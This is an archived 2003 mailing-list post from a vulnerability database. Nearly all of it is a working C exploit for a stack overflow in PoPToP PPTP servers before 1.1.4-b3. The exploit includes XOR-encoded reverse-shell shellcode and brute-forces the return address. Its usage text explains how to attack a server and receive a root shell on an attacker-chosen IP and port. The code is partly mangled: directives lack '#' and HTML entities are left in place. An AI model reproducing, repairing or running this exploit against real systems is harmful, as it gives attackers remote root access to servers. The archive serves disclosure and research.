Exploit for PoPToP PPTP server

2003-04-19T00:00:00
ID SECURITYVULNS:DOC:4407
Type securityvulns
Reporter Securityvulns
Modified 2003-04-19T00:00:00

Description

hello bugtraq,

Here is an exploit for a recently discovered vulnerability in PoPToP PPTP server under Linux. Versions affected are all prior to 1.1.4-b3 and 1.1.3-20030409. The exploit is capable of bruteforcing the RET address to find our buffer in the stack. Upon a successfull run it brings up a reverse shell with privileges of the pptpd daemon (typically root) on the victim server.

Have fun,

einstein, dH team einstein_dhtm@front.ru

P.S. Greets to ERRor, Death and all others.

Exploit code (compiles on win32):

---------------- Cut ---------------------

include <iostream.h>

include <winsock.h>

include <stdio.h>

define u_int8_t char

define u_int16_t WORD

define u_int32_t DWORD

char shellcode[] =

"\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b" "\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a" "\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d"

"\x01\x01" // port

"\x54\xd6\x63"

"\x01\x01\x01\x01" // ip address

"\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67" "\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e" "\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b" "\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60" "\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa" "\xfd\xbc\xe0\xfb";

struct pptp_header { u_int16_t length; / pptp message length incl header / u_int16_t pptp_type; / pptp message type / u_int32_t magic; / magic cookie / u_int16_t ctrl_type; / control message type / u_int16_t reserved0; / reserved / };

define MAX_HOSTNAME_SIZE 64

define MAX_VENDOR_SIZE 64

define PPTP_VERSION 0x0100

struct pptp_start_ctrl_conn_rqst { struct pptp_header header; / pptp header / u_int16_t version; / pptp protocol version / u_int16_t reserved1; / reserved / u_int32_t framing_cap; / framing capabilities / u_int32_t bearer_cap; / bearer capabilities / u_int16_t max_channels; / maximum channels / u_int16_t firmware_rev; / firmware revision / u_int8_t hostname[MAX_HOSTNAME_SIZE]; / hostname / u_int8_t vendor[MAX_VENDOR_SIZE]; / vendor / };

struct pptp_echo_rqst { struct pptp_header header; / header / u_int32_t identifier; / value to match rply with rqst / char buf[10000]; };

struct pptp_reply { struct pptp_header header; / header / char buf[10000]; };

/ Magic Cookie /

define PPTP_MAGIC_COOKIE 0x1a2b3c4d

/ Message types /

define PPTP_CTRL_MESSAGE 1

/ Control Connection Management /

define START_CTRL_CONN_RQST 1

define START_CTRL_CONN_RPLY 2

define STOP_CTRL_CONN_RQST 3

define STOP_CTRL_CONN_RPLY 4

define ECHO_RQST 5

define ECHO_RPLY 6

// brute force values

define TOPOFSTACK 0xbfffffff

define BOTTOMOFSTACK 0xbf000000

define STEP 50

void send_init_request(SOCKET st) { pptp_start_ctrl_conn_rqst request; request.header.magic = htonl(PPTP_MAGIC_COOKIE); request.header.pptp_type = htons(PPTP_CTRL_MESSAGE); request.header.ctrl_type = htons(START_CTRL_CONN_RQST);

request.version = PPTP_VERSION; request.framing_cap = 0; request.bearer_cap = 0; request.max_channels = 1; request.firmware_rev = 0; strcpy(request.hostname,"hell"); strcpy(request.vendor,"domain HELL"); request.header.length = ntohs(sizeof(request));

    send&#40;st,&#40;char*&#41;&request,sizeof&#40;request&#41;,0&#41;;

}

void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port) { pptp_echo_rqst ping; ping.header.magic = htonl(PPTP_MAGIC_COOKIE); ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE); ping.header.ctrl_type = htons(ECHO_RQST); ping.identifier = 111;

    ping.header.length = ntohs&#40;1&#41;;


    strcpy&#40;ping.buf,&quot;&quot;&#41;;

    int buflen = 500;
    for &#40;int i=0;i&lt;buflen;i++&#41;strcat&#40;ping.buf,&quot;&#92;x90&quot;&#41;;      
    memcpy&#40;ping.buf+364,&#40;char*&#41;&ret,4&#41;;

    // patch shellcode
    // we have a shellcode xored by 0x93.. let&#39;s unxor it :&#41;
    for &#40;i=0;i&lt;sizeof&#40;shellcode&#41;;i++&#41; shellcode[i] ^= 0x93;

    *&#40;unsigned short int*&#41;&#40;shellcode+43&#41; = htons&#40;port&#41;;

(unsigned long int)(shellcode+48) = inet_addr(hostname);

    // we leave 100 bytes for NOPs
    memcpy&#40;ping.buf+100,shellcode,sizeof&#40;shellcode&#41;&#41;;

    send&#40;st,&#40;char*&#41;&ping,sizeof&#40;ping.header&#41;+buflen,0&#41;;

}

SOCKET st;

int connect_server(char* hostname) { st=socket(PF_INET,SOCK_STREAM,0); if (st==INVALID_SOCKET) return 0;

    sockaddr_in addr;

    addr.sin_family=AF_INET;
    addr.sin_port=0;
    addr.sin_addr.s_addr=0;
    bind&#40;st, &#40;LPSOCKADDR&#41;&addr,sizeof&#40;addr&#41;&#41;;


    addr.sin_family=AF_INET;
    addr.sin_port=htons&#40;1723&#41;;
    addr.sin_addr.s_addr=inet_addr&#40;hostname&#41;;
    printf&#40;&quot;connecting... &quot;&#41;;
    if &#40;connect&#40;st,&#40;sockaddr*&#41;&addr,sizeof&#40;addr&#41;&#41; != 0&#41;
    {
            printf&#40;&quot;Connect error. GetLastError=&#37;d&#92;n&quot;,GetLastError&#40;&#41;&#41;;
            return 0;
    }
    return 1;

}

int main(int argc, char** argv) { printf("\n"); printf(" D H H \n"); printf(" D H H T\n"); printf(" D H H H T EE AA M M \n"); printf(" DDD D HHHHHHH T E E A A MM MM \n"); printf(" D DD H H H TTTT E E A A MM MM \n"); printf(" D D H H T EEE AAAA M M M \n"); printf(" D D H H T E A A M M \n"); printf(" DDDD H H TTT EEE A A M M "); printf(" ... presents ... \n\n"); printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n"); printf("by .einstein., April 2003.\n"); printf("\n"); if (argc < 2) { printf("usage: \n"); printf(" %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]); printf(" <pptp_server> is the ip address or hostname of the PoPToP server\n"); printf(" you want to attack. Port 1723 is used for connection\n"); printf(" <your_ip> and <your_port> - specify an ip address to which\n"); printf(" a connection is possible to port <your_port> and set up a\n"); printf(" netcat listener. You'll get a reverse shell.\n"); printf(" <timeout> is a delay between stack bruteforce attemts, in milliseconds\n"); printf(" If you only pass a single parameter, the program will check\n"); printf(" whether remote server is vulnerable or not. Otherwise it will\n"); printf(" perform a ret bruteforce.\n"); printf("usage examples:\n"); printf(" %s 192.168.1.2 192.168.1.1 5555\n",argv[0]); printf(" attack 192.168.1.2 and get a reverse shell on port 5555\n"); printf(" %s 127.0.0.1 127.0.0.1 6666 100\n",argv[0]); printf(" attack a locally running pptpd with a timeout of 100 ms\n"); printf(" and get a shell on port 6666.\n"); printf(" %s 192.168.1.56\n",argv[0]); printf(" check if the PoPToP server on 192.168.1.56 is vulnerable.\n"); return 0; }

int timeout = 500; if (argc >= 5) timeout = atoi(argv[4]);

    // init winsock
    WORD version=0x0101;

WSADATA data; WSAStartup(version,&data);

    DWORD ret;
    if &#40;argc == 2&#41;
    {
            if &#40;!connect_server&#40;argv[1]&#41;&#41; return 1;

            printf&#40;&quot;&#92;nChecking if the server is vulnerable..&#92;n&quot;&#41;;
            printf&#40;&quot;&#40;if it is you have to wait 65 seconds&#41;..&#92;n&quot;&#41;;
            send_init_request&#40;st&#41;;

            ret = 0x01010101;
            int bytes;
            pptp_reply reply;

            //header length
            bytes = recv&#40;st,&#40;char*&#41;&reply,2,0&#41;;
            bytes = ntohs&#40;reply.header.length&#41;;
            bytes = recv&#40;st,&#40;char*&#41;&reply+2,bytes-2,0&#41;;
            int j = htons&#40;reply.header.ctrl_type&#41;;
            send_ping_overflow&#40;st,ret,&quot;0.0.0.0&quot;,0&#41;;

            //header length
            bytes = recv&#40;st,&#40;char*&#41;&reply,2,0&#41;;
            printf&#40;&quot;PoPToP server is &quot;&#41;;
            if &#40;bytes != SOCKET_ERROR&#41; printf&#40;&quot;vulnerable!&#92;n&quot;&#41;;
            else printf&#40;&quot;not vulnerable&#92;n&quot;&#41;;
            closesocket&#40;st&#41;;

            return 1;
    }

    printf&#40;&quot;[!] Attempting bruteforce against &#37;s&#92;n&quot;,argv[1]&#41;;
    printf&#40;&quot;interrupt when you get a shell to &#37;s on port &#37;d...&#92;n&#92;n&quot;,argv[2],atoi&#40;argv[3]&#41;&#41;;

    int checked = 0;

    for &#40;ret = TOPOFSTACK; ret &gt;=BOTTOMOFSTACK; ret -= STEP&#41;
    {
      printf&#40;&quot;[*] &quot;&#41;;
            if &#40;!connect_server&#40;argv[1]&#41;&#41; return 1;
    printf&#40;&quot;[ret=0x&#37;x]..&quot;,ret&#41;;
    printf&#40;&quot;sending payload..&quot;&#41;;

            // initial packet
            send_init_request&#40;st&#41;;

            //a real overflowing ping packet
      send_ping_overflow&#40;st,ret,argv[2],atoi&#40;argv[3]&#41;&#41;;
            closesocket&#40;st&#41;;

            Sleep&#40;timeout&#41;;
            printf&#40;&quot;done&#92;n&quot;&#41;;



    }

    return 0;

}